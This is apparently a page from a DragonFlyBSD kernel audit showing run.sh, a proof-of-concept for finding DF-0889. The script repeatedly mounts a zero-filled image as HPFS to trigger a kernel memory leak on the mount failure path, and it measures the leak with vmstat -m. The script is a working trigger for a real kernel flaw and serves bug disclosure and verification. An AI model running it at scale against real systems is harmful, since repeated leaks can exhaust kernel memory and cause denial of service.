โฌข DragonFlyBSD Kernel Audit
DF-0889 / run.sh
โ† back to finding โ†“ download raw
#!/bin/sh
# DF-0889 trigger: leak one struct hpfsmount per failed hpfs mount.
#
# Strategy: a zero-filled image fails the SuperBlock magic check at
# sys/vfs/hpfs/hpfs_vfsops.c:282 -> goto failed (line 285), which drops
# through the `failed:` label at line 328 WITHOUT calling
# kfree(hpmp, M_HPFSMNT). Each attempt leaks one hpfsmount.
#
# Run as root (or with vfs.usermount=1 + chowned vn device).
set -u

# How many failed mount attempts to perform. Keep small enough to finish
# quickly but large enough that the leak is unambiguous in vmstat -m.
N=${1:-200}

# Pre-clean any prior state.
umount /mnt/df0889 2>/dev/null
# Detach any vn devices that point at our image (best-effort).
for v in $(ls /dev/vn* 2>/dev/null); do
    vnconfig -u "$v" 2>/dev/null
done

# Make sure hpfs.ko is loaded so the filesystem type is registered.
if ! kldstat -q -m hpfs; then
    kldload hpfs.ko || { echo "FAIL: cannot kldload hpfs.ko"; exit 2; }
fi

# Backing image: 4 MB of zeros. The SuperBlock (sector 16) and SpareBlock
# (sector 17) reads succeed (return zero pages) but the magic check fails,
# which is the simplest `goto failed` path after the hpmp kmalloc.
IMG=/tmp/df0889.img
dd if=/dev/zero of="$IMG" bs=1m count=4 2>/dev/null

# Attach a vnode-backed memory disk (autoclone โ€” prints the resulting /dev/vnN).
VNDEV=$(vnconfig -c vn "$IMG" 2>/dev/null)
if [ -z "$VNDEV" ]; then
    echo "FAIL: vnconfig -c vn $IMG"
    exit 2
fi
# vnconfig prints e.g. "vn4" โ€” normalize to /dev/vn4.
case "$VNDEV" in
    /*) VNPATH="$VNDEV" ;;
    *)  VNPATH="/dev/$VNDEV" ;;
esac
echo "Attached backing image at $VNPATH"

mkdir -p /mnt/df0889

# Baseline allocation count.
# NOTE: vmstat -m reports the M_HPFSMNT type under the human-readable name
# "HPFS_mount". Only types with >=1 allocation are listed, so a baseline of
# 0 means the line is absent โ€” treat that as 0.
BEF=$(vmstat -m | awk '$1 == "HPFS_mount" {print $2}')
[ -n "$BEF" ] || BEF=0
echo "BEFORE: HPFS_mount alloc count = $BEF"

echo "Attempting $N failed hpfs mounts on $VNPATH ..."
ok=0
fail=0
i=0
while [ "$i" -lt "$N" ]; do
    i=$((i + 1))
    if mount -t hpfs -o ro "$VNPATH" /mnt/df0889 2>/dev/null; then
        # Should never happen on a zero image โ€” if it does, unmount and count.
        umount /mnt/df0889 2>/dev/null
        ok=$((ok + 1))
    else
        fail=$((fail + 1))
    fi
done

AFT=$(vmstat -m | awk '$1 == "HPFS_mount" {print $2}')
[ -n "$AFT" ] || AFT=0
echo "AFTER : HPFS_mount alloc count = $AFT"
echo "mount results: succeeded=$ok failed=$fail (out of $N)"
DELTA=$((AFT - BEF))
echo "LEAK: HPFS_mount grew by $DELTA allocations over $N failed mounts"

# Show the in-use vs free in the slab for context.
vmstat -m | awk '$1 == "HPFS_mount" {print "vmstat -m HPFS_mount line:", $0}'

# Cleanup (note: leaked hpmps are NOT reclaimed by this cleanup โ€” that is
# the bug. Only a kldunload would free them, and even then only if the
# module refcount allows it.)
vnconfig -u "$VNPATH" 2>/dev/null
rm -f "$IMG"

exit 0